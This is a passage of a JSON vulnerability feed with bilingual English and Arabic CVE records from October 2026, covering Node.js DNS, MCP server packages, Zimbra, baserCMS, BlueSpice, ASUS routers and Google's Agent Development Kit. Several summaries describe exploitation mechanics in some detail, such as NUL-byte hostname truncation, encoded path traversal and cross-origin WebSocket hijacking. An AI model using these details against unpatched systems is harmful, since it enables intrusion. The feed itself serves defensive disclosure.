dns.reverse().","ar":"يسمح خلل في دقة نظام أسماء النطاقات (DNS) في Node.js باقتطاع أسماء المضيفات التي تحتوي على باايت صفري صامتًا بواسطة وظائف dns.resolve*() و dns.reverse()."},"summary":{"en":"A flaw in Node.js DNS resolution allows hostnames containing a NUL byte to be silently truncated by the dns.resolve*() functions and dns.reverse(). This is an incomplete fix of CVE-2026-48930, which only covered dns.lookup() and the net/tls host options. Because the name is passed to c-ares as a C string, resolving attacker.example\\0.trusted.example queries attacker.example and returns its records without any error. Applications that validate a hostname, for example against a domain allowlist, and then resolve it with dns.resolve*() can act on records for a different name than the one they validated. This vulnerability affects Node.js 26.x, 24.x, and 22.x.","ar":"يسمح خلل في دقة نظام أسماء النطاقات (DNS) في Node.js باقتطاع أسماء المضيفات التي تحتوي على باايت صفري صامتًا بواسطة وظائف dns.resolve*() و dns.reverse(). هذا إصلاح غير مكتمل للثغرة CVE-2026-48930، والتي كانت تغطي فقط dns.lookup() وخيارات مضيف net\\/tls. نظرًا لأنه يتم تمرير الاسم إلى c-ares كسلسلة نصية بلغة C، فإن دقة الاستعلام attacker.example\\0.trusted.example تقوم بالاستعلام عن attacker.example وإرجاع سجلاته دون أي خطأ. التطبيقات التي تتحقق من صحة اسم المضيف، على سبيل المثال مقابل قائمة السماح للنطاقات، ثم تقوم بحله باستخدام dns.resolve*() يمكنها التصرف بناءً على سجلات لاسم مختلف عن الاسم الذي تم التحقق من صحته. تؤثر هذه الثغرة على Node.js الإصدارات 26.x و 24.x و 22.x."},"refs":[["https://nodejs.org/en/blog/vulnerability/october-2026-security-releases","ref"]],"epss":0.0047,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"nodejs-node"},{"id":"CVE-2026-106765","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-77","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-23T15:31:40Z","product":"@rog0x/mcp-docker-tools","affected":[["<= 1.0.1",null]],"title":{"en":"@rog0x/mcp-docker-tools: executes arbitrary code via the handleImageList function","ar":"تنفيذ شيفرة عشوائية في @rog0x/mcp-docker-tools عبر دالة handleImageList"},"summary":{"en":"An issue in @rog0x/mcp-docker-tools 1.0.1 allows a remote attacker to execute arbitrary code via the handleImageList function.","ar":"تتيح مشكلة في الحزمة @rog0x/mcp-docker-tools الإصدار 1.0.1 لمهاجم عن بُعد تنفيذ شيفرة عشوائية عبر دالة handleImageList."},"refs":[["https://github.com/advisories/GHSA-fq6x-j3g6-xx83","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-106765","ref"],["https://github.com/rog0x/mcp-git-tools/issues/1","ref"],["https://stillosdigitalholdings.com/advisories/CVE-2026-106765.cve.json","ref"],["https://www.npmjs.com/package/@rog0x/mcp-docker-tools","ref"]],"epss":0.0052,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"rog0x-mcp-docker-tools"},{"id":"CVE-2026-106764","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-77","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-23T15:31:39Z","product":"@rog0x/mcp-git-tools","affected":[["<= 1.0.1",null]],"title":{"en":"@rog0x/mcp-git-tools executes arbitrary code via the resolveBaseBranch function","ar":"تنفيذ شيفرة عشوائية في @rog0x/mcp-git-tools عبر دالة resolveBaseBranch"},"summary":{"en":"An issue in @rog0x/mcp-git-tools 1.0.1 allows a remote attacker to execute arbitrary code via the resolveBaseBranch function.","ar":"تتيح مشكلة في الحزمة @rog0x/mcp-git-tools الإصدار 1.0.1 لمهاجم عن بُعد تنفيذ شيفرة عشوائية عبر دالة resolveBaseBranch."},"refs":[["https://github.com/advisories/GHSA-jwc4-922r-f2rw","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-106764","ref"],["https://github.com/rog0x/mcp-git-tools/issues/1","ref"],["https://stillosdigitalholdings.com/advisories/CVE-2026-106764.cve.json","ref"],["https://www.npmjs.com/package/@rog0x/mcp-git-tools","ref"]],"epss":0.0052,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"rog0x-mcp-git-tools"},{"id":"CVE-2026-106763","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-23T15:31:39Z","product":"@justice8096/sagemath-mcp-server","affected":[["<= 1.0.1",null]],"title":{"en":"@justice8096/sagemath-mcp-server: executes arbitrary code via the escapeShellString and sanitizeCode functions","ar":"تنفيذ شيفرة عشوائية في @justice8096/sagemath-mcp-server عبر دالتي escapeShellString و sanitizeCode"},"summary":{"en":"An issue in @justice8096/sagemath-mcp-server 1.0.1 allows a remote attacker to execute arbitrary code via the escapeShellString and sanitizeCode functions.","ar":"تتيح مشكلة في الحزمة @justice8096/sagemath-mcp-server الإصدار 1.0.1 لمهاجم عن بُعد تنفيذ شيفرة عشوائية عبر دالتي escapeShellString و sanitizeCode."},"refs":[["https://github.com/advisories/GHSA-2vq3-mpmf-9xgr","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-106763","ref"],["https://github.com/justice8096/sagemath-mcp-server/issues/1","ref"],["https://stillosdigitalholdings.com/advisories/CVE-2026-106763.cve.json","ref"],["https://www.npmjs.com/package/@justice8096/sagemath-mcp-server","ref"]],"epss":0.0052,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"justice8096-sagemath-mcp-server"},{"id":"CVE-2026-102786","cvss":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-23T14:34:55Z","product":"phoca.cz Phoca Gallery extension for Joomla","affected":[["4.5.0-6.1.5",null]],"title":{"en":"Joomla Extension - phoca.cz - Authenticated stored cross-site scripting through HTML attribute injection in Phoca Gallery 4.5.0 - 6.1.5","ar":"إضافة Joomla من phoca.cz تتضمن ثغرة البرمجة النصية عبر المواقع المخزنة للمستخدمين المصدق لهم من خلال حقن سمات HTML في Phoca Gallery الإصدارات 4.5.0 إلى 6.1.5"},"summary":{"en":"Joomla Extension - phoca.cz - Authenticated stored cross-site scripting through HTML attribute injection in Phoca Gallery 4.5.0 - 6.1.5","ar":"إضافة Joomla من phoca.cz تتضمن ثغرة البرمجة النصية عبر المواقع المخزنة للمستخدمين المصدق لهم من خلال حقن سمات HTML في Phoca Gallery الإصدارات 4.5.0 إلى 6.1.5"},"refs":[["https://www.phoca.cz/","ref"]],"epss":0.0026,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"phoca-cz-phoca-gallery-extension-for-joomla"},{"id":"CVE-2026-50053","cvss":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","cwe":"CWE-642","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-23T14:17:53Z","product":"Synacor Zimbra Collaboration Suite","affected":[[" – 10.1.17",null],["0 – 10.1.17",null]],"title":{"en":"Zimbra Collaboration Suite RestFilter Request Attribute Override via Unauthenticated URL Parameters","ar":"تجاوز سمات طلب RestFilter في Zimbra Collaboration Suite عبر وسائط عنوان URL دون مصادقة"},"summary":{"en":"A request attribute override vulnerability in Zimbra Collaboration Suite (ZCS) allows unauthenticated requests to /h/* to populate servlet attributes intended for trusted internal dispatch. RestFilter copies URL parameters specifying an authentication token, target account, target item and dispatch state into the request attributes consumed by the Classic Web Client. Combined with CVE-2026-10632 on ZCS 10.1.16, this allows an attacker to supply their own valid token and document identifiers and execute JavaScript in another user's signed-in browser session. ZCS 10.1.17 blocks that XSS chain by changing the document renderer, but retains the request attribute override.","ar":"تتيح ثغرة تجاوز سمات الطلب في Zimbra Collaboration Suite (ZCS) للطلبات غير المُصادق عليها الموجهة إلى h/* ملء سمات سيرفليت المخصصة للإرسال الداخلي الموثوق. يقوم RestFilter بنسخ وسائط عنوان URL التي تحدد رمز المصادقة، وحساب الهدف، وصرامة العنصر، وحالة الإرسال إلى سمات الطلب التي يستهلكها عميل الويب الكلاسيكي Classic Web Client. بالاقتران مع CVE-2026-10632 على ZCS 10.1.16، يتيح ذلك للمهاجم توفير الرمز المميز الصالحة الخاص به ومحددات المستند وتنفيذ جافاسكريبت في جلسة متصفح مستخدم آخر مسجل الدخول. يقوم ZCS 10.1.17 بحظر سلسلة XSS هذه عن طريق تغيير عارض المستند، ولكنه يحتفظ بتجاوز سمات الطلب."},"refs":[["https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories","advisory"],["https://www.rapid7.com/blog/post/ve-breaking-zimbra-identity-boundaries-part-1/","ref"]],"epss":0.0029,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"synacor-zimbra-collaboration-suite"},{"id":"CVE-2026-114622","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-23T14:17:51Z","product":"baserproject basercms","affected":[],"title":{"en":"baserCMS: Encoded path traversal bypass in the theme file API","ar":"تجاوز اجتياز المسار المُرمّز في واجهة برمجة تطبيقات ملفات القوالب لـ baserCMS"},"summary":{"en":"baserCMS is a website development framework. In versions 5.2.3 before 5.3.2 and 5.4.0 before 5.4.2, the optional BcThemeFile plugin's Admin API validates a raw path in ThemeFilesService::update() and getFullpath(), but ThemeFileForm::_execute() subsequently applies rawurldecode() to fullpath before writing. Because normalizePath() resolves only literal dot segments, percent-encoded traversal can pass the containment checks and become a path outside the theme directory at the write sink. An authenticated administrator can write PHP files into writable locations such as webroot and execute them, exceeding the intended theme-template editing boundary. The source also identifies the same check-before-decode ordering in ThemeFilesService::copy(), although that path was not dynamically verified. Exploitation requires the non-default plugin, an administrator session, and a same-origin Origin header; USE_CORE_ADMIN_API=false does not block session-authenticated requests. The Admin web form is not affected by this encoded-path tampering because FormProtection protects fullpath. This is a third bypass of the protections associated with CVE-2026-30940, using encoded traversal decoded after validation. This issue has been patched in versions 5.3.2 and 5.4.2.","ar":"إطار عمل baserCMS لتطوير مواقع الويب. في الإصدارات من 5.2.3 حتى قبل 5.3.2 ومن 5.4.0 حتى قبل 5.4.2، تقوم واجهة برمجة تطبيقات الإدارة الخاصة المكونة الاختيارية BcThemeFile بالتحقق من صحة مسار خام في ThemeFilesService::update() و getFullpath()، ولكن دالة ThemeFileForm::_execute() تقوم لاحقًا بتطبيق rawurldecode() على المسار الكامل (fullpath) قبل الكتابة. نظرًا لأن دالة normalizePath() تحل مقاطع النقاط الحرفية فقط، فإن اجتياز المسار المُرمّز بالنسبة المئوية يمكن أن يجتاز فحوصات الاحتواء ويصبح مسارًا خارج دليل القوالب عند نقطة الكتابة النهائية. يمكن لمسؤول مصادق عليه كتابة ملفات PHP في مواقع قابلة للكتابة مثل webroot وتنفيذها، مما يتجاوز حدود تحرير قالب القالب المقصودة. يحدد المصدر أيضًا نفس ترتيب التحقق قبل فك الترميز في ThemeFilesService::copy()، على الرغم من عدم التحقق من هذا المسار ديناميكيًا. يتطلب الاستغلال المكون غير الافتراضي، وجلسة مسؤول، وترويسة Origin مطابقة لنفس الأصل؛ ولا يؤدي تعيين USE_CORE_ADMIN_API=false إلى حظر الطلبات المصادق عليها بالجلسة. لا تأثر نموذج الويب الإداري بهذا التلاعب بالمسار المُرمّز لأن FormProtection يحمي المسار الكامل fullpath. هذا هو التجاوز الثالث للححماية المرتبطة بـ CVE-2026-30940، باستخدام الاجتياز المُرمّز الذي يتم فك ترميزه بعد التحقق من الصحة. تم تصحيح هذه المشكلة في الإصدارين 5.3.2 و 5.4.2."},"refs":[["https://github.com/baserproject/basercms/commit/53ecf177dfb10eb1fb89c4b42d313983329aa162","ref"],["https://github.com/baserproject/basercms/releases/tag/5.3.2","ref"],["https://github.com/baserproject/basercms/releases/tag/5.4.2","ref"],["https://github.com/baserproject/basercms/security/advisories/GHSA-q7g3-qwrc-mp89","ref"]],"epss":0.006,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"baserproject-basercms"},{"id":"CVE-2026-107685","cvss":9.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-295","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-23T11:00:38Z","product":"agentjido req_llm","affected":[["1.9.0 – <1.29.0","1.29.0"]],"title":{"en":"WebSocket sessions do not verify TLS certificates, exposing API keys and OAuth tokens to on-path attackers","ar":"جلسات WebSocket لا تحقق من شهادات TLS، مما يكشف مفاتيح API ورموز OAuth للمهاجمين الموجودين على المسار"},"summary":{"en":"Improper Certificate Validation vulnerability in the WebSocket streaming client in agentjido req_llm allows an on-path attacker to read and modify OpenAI WebSocket sessions, including the authorization bearer token, via a TLS certificate the client does not trust. ReqLLM.Streaming.WebSocketSession.Client.start/3 in lib/req_llm/streaming/web_socket_session/client.ex starts WebSockex without TLS options, and WebSockex defaults to insecure: true, which connects with verify: :verify_none. The option allowlist also drops any caller-supplied cacerts or ssl_options, so an application cannot turn verification on. The OpenAI Responses, Realtime, and Codex WebSocket paths reach this client and send the API key or OAuth access token in the authorization header. HTTP streaming through Finch and the HTTP/2 duplex session through Mint verify certificates and are not affected. This issue affects req_llm: from 1.9.0 before 1.29.0.","ar":"توجد ثغرة في التحقق غير السليم من الشهادات في عميل بث WebSocket في agentjido req_llm تتيح لمهاجم على المسار قراءة وتعديل جلسات OpenAI WebSocket، بما في ذلك رمز التحقق، عبر شهادة TLS لا يثق بها العليط. تبدأ الدالة ReqLLM.Streaming.WebSocketSession.Client.start/3 في lib/req_llm/streaming/web_socket_session/client.ex خدمة WebSockex بدون خيارات TLS، وتتخذ WebSockex خيار insecure: true افتراضيًا، مما يتصل باستخدام verify: :verify_none. تؤدي قائمة السماح للخيارات أيضًا إلى إسقاط أي شهادات جذعية (cacerts) أو خيارات SSL (ssl_options) يقدمها المتصل، بحيث لا يمكن للتطبيق تفعيل التحقق. تصل مسارات WebSocket الخاصة بـ OpenAI Responses، وRealtime، وCodex إلى هذا العميل وترسل مفتاح API أو رمز وصول OAuth في ترويسة المصادقة. يقوم البث عبر HTTP باستخدام Finch وجلسة HTTP/2 المزدوجة عبر Mint بالتحقق من الشهادات ولا يتأثران بذلك. تؤثر هذه المشكلة على req_llm: من الإصدار 1.9.0 قبل 1.29.0."},"refs":[["https://github.com/agentjido/req_llm/commit/c7264fc0217fbacfb5562234ff790b8e4462de76","patch"],["https://github.com/agentjido/req_llm/security/advisories/GHSA-6vww-5m28-f26v","advisory"],["https://cna.erlef.org/cves/CVE-2026-107685.html","ref"],["https://osv.dev/vulnerability/EEF-CVE-2026-107685","ref"],["https://github.com/agentjido/req_llm/commit/a389d718640ceb2d541a8f540ab954cbf5ef8313","ref"]],"epss":0.0027,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"agentjido-req-llm"},{"id":"CVE-2026-89320","cvss":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-354","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-23T09:17:08Z","product":"Eclipse Foundation Eclipse KeyPont - GOSE","affected":[["0 – <1.0.0-rc1","1.0.0-rc1"]],"title":{"en":"HmacShaCryptor.Hash never hashes its input — returns constant HMAC_K(\"\") for all inputs, voiding CBC-HMAC JWE integrity","ar":"لا تقوم الوظيفة HmacShaCryptor.Hash بترميز مدخلاتها أبداً وتُرجع قيمة ثابتة لجميع المدخلات، مما يبطل سلامة CBC-HMAC JWE"},"summary":{"en":"`HmacShaCryptor.Hash` never hashed its input. For any input it returned `HMAC_K(\"\")` — the MAC of the empty message under the key. Every AES-CBC-HMAC JWE produced or verified by gose therefore carried an authentication tag that is constant per key and independent of the message, removing ciphertext integrity entirely.","ar":"لا تقوم الوظيفة `HmacShaCryptor.Hash` بترميز مدخلاتها أبداً. فبالنسبة لأي إدخال، كانت تُرجع قيمة ثابتة لكل مفتاح ومستقلة عن الرسالة، مما يؤدي إلى إزالة سلامة النص المشفر تماماً."},"refs":[["https://github.com/eclipse-keypont/gose/security/advisories/GHSA-h6w5-722x-2h3m","ref"]],"epss":0.0017,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"eclipse-foundation-eclipse-keypont-gose"},{"id":"CVE-2026-25784","cvss":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-1188","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-23T08:54:57Z","product":"Hallo Welt! GmbH BlueSpice","affected":[["5.2.3 – <5.2.7","5.2.7"]],"title":{"en":"bluespice/wiki container: Insecure default configuration of service token authentication allows privilege escalation to sysop","ar":"حاوية bluespice/wiki: التهيئة الافتراضية غير الآمنة لمصادقة رمز الخدمة تسمح بتصعيد الصلاحيات إلى مدير النظام sysop"},"summary":{"en":"Initialization of a Resource with an Insecure Default vulnerability in Hallo Welt! GmbH BlueSpice (container image bluespice/wiki) allows privilege escalation. The default value of $mwsgTokenAuthenticatorServiceCIDR in the container's LocalSettings.php was intended to restrict internal service authentication to the container network, but evaluated to an empty string when the environment variable WIKI_SERVICE_TOKEN_AUTH_ALLOWED was not set. An empty value disables the IP restriction in the token authenticator component (mwstake/mediawiki-component-token-authenticator). As a result, any user with read access to the wiki (anonymous users on publicly readable wikis) could obtain an application token from the REST API and use it to get a session with sysop privileges as the internal service user. This issue affects BlueSpice: from 5.2.3 before 5.2.7, and the 5.2.7 container images published before 2026-10-19 15:37 UTC.","ar":"تهيئة مورد بمعهي افتراضي غير آمن في منتج Hallo Welt! GmbH BlueSpice (صورة الحاوية bluespice/wiki) تسمح بتصعيد الصلاحيات. القيمة الافتراضية لمتغير $mwsgTokenAuthenticatorServiceCIDR في ملف LocalSettings.php للحاوية كانت مخصصة لتقييد مصادقة الخدمة الداخلية على شبكة الحاوية، ولكنها قيّمت إلى سلسلة فارغة عندما لم يتم تعيين متغيّر البيئة WIKI_SERVICE_TOKEN_AUTH_ALLOWED. تؤدي القيمة الفارغة إلى تعطيل تقييد عنوان IP في مكون مصدق الرموز (mwstake/mediawiki-component-token-authenticator). ونتيجة لذلك، يمكن لأي مستخدم لديه حق القراءة في الويكي (المستخدمون مجهولو الهوية في مواقع الويكي القابلة للقراءة العامة) الحصول على رمز تطبيق من واجهة برمجة تطبيقات REST واستخدامه للحصول على جلسة بصلاحيات مدير النظام sysop بصفتهم مستخدم الخدمة الداخلي. تؤثر هذه المشكلة على BlueSpice: من الإصدار 5.2.3 قبل 5.2.7، وصور الحاويات 5.2.7 المنشورة قبل تاريخ 2026-10-19 الساعة 15:37 بالتوقيت العالمي المنسق UTC."},"refs":[["https://github.com/hallowelt/docker-bluespice-wiki/commit/04b840be565b508f6e741c376970909b69d2a444","patch"],["https://en.wiki.bluespice.com/wiki/Security:Security_Advisories/BSSA-2026-07","advisory"]],"epss":0.0035,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hallo-welt-gmbh-bluespice"},{"id":"CVE-2026-63244","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-287","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-23T08:16:55Z","product":"WizLearn Technologies Pte. Ltd. Learning Management System","affected":[],"title":{"en":"Authentication Bypass Vulnerability","ar":"ثغرة تجاوز المصادقة"},"summary":{"en":"An authentication bypass vulnerability in WizLearn Technologies' Learning Management System (LMS) could allow an unauthenticated remote attacker to bypass password authentication and the OAuth authentication flow by sending a specially crafted POST request, potentially resulting in unauthorised access to user accounts and full administrative control of the LMS platform.","ar":"يمكن أن تسمح ثغرة تجاوز المصادقة في نظام إدارة التعلم (LMS) الخاص بـ WizLearn Technologies لمهاجم عن بُعد دون مصادقة بتجاوز مصادقة كلمة المرور وتدفق مصادقة OAuth عن طريق إرسال طلب POST معد خصيصًا، مما قد يؤدي إلى وصول غير مصرح به إلى حسابات المستخدمين والتحكم الإداري الكامل في منصة إدارة التعلم."},"refs":[["https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2026-155","ref"]],"epss":0.0065,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wizlearn-technologies-pte-ltd-learning-management-system"},{"id":"CVE-2026-75775","cvss":7.7,"vector":"CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-78","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-23T07:12:11Z","product":"ASUS Router","affected":[],"title":{"en":"Improper Neutralization of Special Elements used in an OS Command in certain ASUS routers allows remote user to execute arbitrary commands with root p","ar":"حياد غير سليم للعناصر الخاصة المستخدمة في أمر نظام التشغيل في بعض موجهات ASUS يسمح لمستخدم عن بُعد بتنفيذ أوامر عشوائية بصلاحيات root"},"summary":{"en":"Improper Neutralization of Special Elements used in an OS Command in certain ASUS routers allows remote user to execute arbitrary commands with root privileges via crafted parameters sent to the router while the device is in its factory-default state.Refer to the ' Security Update for ASUS Router Firmware ' section on the ASUS Security Advisory for more information.","ar":"يسمح الحياد غير السليم للعناصر الخاصة المستخدمة في أمر نظام التشغيل في بعض موجهات ASUS لمستخدم عن بُعد بتنفيذ أوامر عشوائية بصلاحيات root عبر معاملات مُصممة تُرسل إلى الموجه أثناء وجود الجهاز في حالة ضبط المصنع الافتراضية. راجع قسم 'التحديث الأمني لبرمجيات موجه ASUS' في الإرشاد الأمني لشركة ASUS لمزيد من المعلومات."},"refs":[["https://www.asus.com/security-advisory","ref"]],"epss":0.0061,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"asus-router"},{"id":"CVE-2026-93489","cvss":8.7,"vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-287","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-23T07:07:13Z","product":"ASUS Router","affected":[],"title":{"en":"Improper Authentication in ASUS router modules allows an unauthenticated nearby user to send an HTTP request and forge an access ticket, subsequently ","ar":"مصادقة غير سليمة في وحدات موجه ASUS تسمح لمستخدم قريب دون مصادقة بإرسال طلب HTTP وتزوير تذكرة وصول، مما يتيح لاحقًا..."},"summary":{"en":"Improper Authentication in ASUS router modules allows an unauthenticated nearby user to send an HTTP request and forge an access ticket, subsequently enabling the user to perform administrator operations. Refer to the ' Security Update for ASUS Router Firmware ' section on the ASUS Security Advisory for more information.","ar":"تسمح المصادقة غير السليمة في وحدات موجه ASUS لمستخدم قريب دون مصادقة بإرسال طلب HTTP وتزوير تذكرة وصول، مما يتيح للمستخدم لاحقًا إجراء عمليات الإدارة. راجع قسم 'التحديث الأمني لبرمجيات موجه ASUS' في الإرشاد الأمني لشركة ASUS لمزيد من المعلومات."},"refs":[["https://www.asus.com/security-advisory","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"asus-router"},{"id":"CVE-2026-75779","cvss":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-23T07:03:41Z","product":"ASUS Router","affected":[],"title":{"en":"Improper Neutralization of Special Elements used in an OS Command (“OS Command Injection”) and Cross-Site Request Forgery (CSRF) in an ASUS router mod","ar":"حياد غير سليم للعناصر الخاصة المستخدمة في أمر نظام التشغيل (\"حقن أوامر نظام التشغيل\") وتزوير الطلبات عبر الموقع (CSRF) في نموذج موجه ASUS..."},"summary":{"en":"Improper Neutralization of Special Elements used in an OS Command (“OS Command Injection”) and Cross-Site Request Forgery (CSRF) in an ASUS router model allow an attacker to trick a logged-in administrator into visiting a phishing website, causing the router to execute arbitrary commands with root privileges. Refer to the ' Security Update for ASUS Router Firmware ' section on the ASUS Security Advisory for more information.","ar":"يسمح الحياد غير السليم للعناصر الخاصة المستخدمة في أمر نظام التشغيل (\"حقن أوامر نظام التشغيل\") وتزوير الطلبات عبر الموقع (CSRF) في نموذج موجه ASUS لمهاجم بخداع مسؤول مُسجّل الدخول لزيارة موقع تصيد، مما يتسبب في قيام الموجه بتنفيذ أوامر عشوائية بصلاحيات root. راجع قسم 'التحديث الأمني لبرمجيات موجه ASUS' في الإرشاد الأمني لشركة ASUS لمزيد من المعلومات."},"refs":[["https://www.asus.com/security-advisory","ref"]],"epss":0.0121,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"asus-router"},{"id":"CVE-2026-55981","cvss":9.6,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-494","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-23T06:47:05Z","product":"Creative Labs Creative Sound Blaster Katana V2, V2X, SE","affected":[["1.30.260813.1100",null]],"title":{"en":"Firmware verification vulnerability","ar":"ثغرة في التحقق من البرامج الثابتة"},"summary":{"en":"A firmware verification vulnerability in Creative Sound Blaster Katana could allow an attacker to modify a legitimate firmware image and upload the modified firmware to an affected device.","ar":"ثغرة في التحقق من البرامج الثابتة في منتج Creative Sound Blaster Katana قد تسمح لمهاجم بتعديل صورة برامج ثابتة شرعية وتحميل البرامج الثابتة المعدلة إلى الجهاز المتأثر."},"refs":[["https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2026-134/","ref"]],"epss":0.0016,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"creative-labs-creative-sound-blaster-katana"},{"id":"CVE-2026-107858","cvss":7.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N","cwe":"CWE-1385","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-23T05:08:46Z","product":"Google Agent Development Kit (ADK) for Java","affected":[["0.1.0 – <1.13.0","1.13.0"],["0.3.0 – <1.13.0","1.13.0"]],"title":{"en":"Cross-Site WebSocket Hijacking and Permissive CORS in Google Agent Development Kit (ADK) for Java Development Server","ar":"اختطاف WebSocket عبر المواقع وسياسة CORS التساهلية في Google Agent Development Kit (ADK) لخادم تطوير Java"},"summary":{"en":"Missing Origin Validation in WebSockets (CWE-1385) and Permissive Cross-domain Policy with Untrusted Domains (CWE-942) in the development web server (ADK Web) in Google Agent Development Kit (ADK) for Java (com.google.adk:google-adk-dev versions 0.1.0 before 1.13.0 and com.google.adk:google-adk-maven-plugin versions 0.3.0 before 1.13.0) allow a remote attacker to control a locally running agent and read its data via a malicious web page visited by a developer while the server is running. The /run_live WebSocket endpoint accepts connections from any origin by default (hardcoded via setAllowedOrigins(\"*\") in versions 0.1.0 through 1.5.0, and defaulting to * via adk.web.cors.origins in versions 1.6.0 through 1.12.0), and since version 0.4.0 the REST API returns Access-Control-Allow-Origin: * by default. Because the server has no authentication and requests originate from the developer's browser (so binding to localhost does not prevent exploitation), a cross-origin page can send messages to the agent (triggering registered tools), stream agent responses, and list, read, create, or delete sessions and artifacts. In versions 1.6.0 through 1.12.0, users can mitigate the issue by setting the adk.web.cors.origins property to an explicit allowlist of trusted origins (such as http://localhost:8000). The vulnerability is fixed in version 1.13.0, which enforces a same-origin default for CORS and the /run_live WebSocket endpoint, and rejects DNS-rebinding requests over loopback.","ar":"يؤدي غياب التحقق من الأصل في اتصالات WebSockets (CWE-1385) وسياسة النطاقات المتقاطعة التساهلية مع النطاقات غير الموثوقة (CWE-942) في خادم الويب الخاص بالتطوير (ADK Web) ضمن Google Agent Development Kit (ADK) لـ Java (الإصدارات com.google.adk:google-adk-dev من 0.1.0 إلى ما قبل 1.13.0 والإصدارات com.google.adk:google-adk-maven-plugin من 0.3.0 إلى ما قبل 1.13.0) إلى السماح لمهاجم عن بُعد بالتحكم في وكيل قيد التشغيل محليًا وقراءة بياناته عبر صفحة ويب خبيثة يزورها المطور أثناء تشغيل الخادم. تقبل نقطة نهاية WebSocket المتاحة في /run_live الاتصالات من أي أصل بشكل افتراضي (وهو مُثبّت برمجياً عبر setAllowedOrigins(\"*\") في الإصدارات من 0.1.0 إلى 1.5.0، ويُضبط افتراضيًا على * عبر 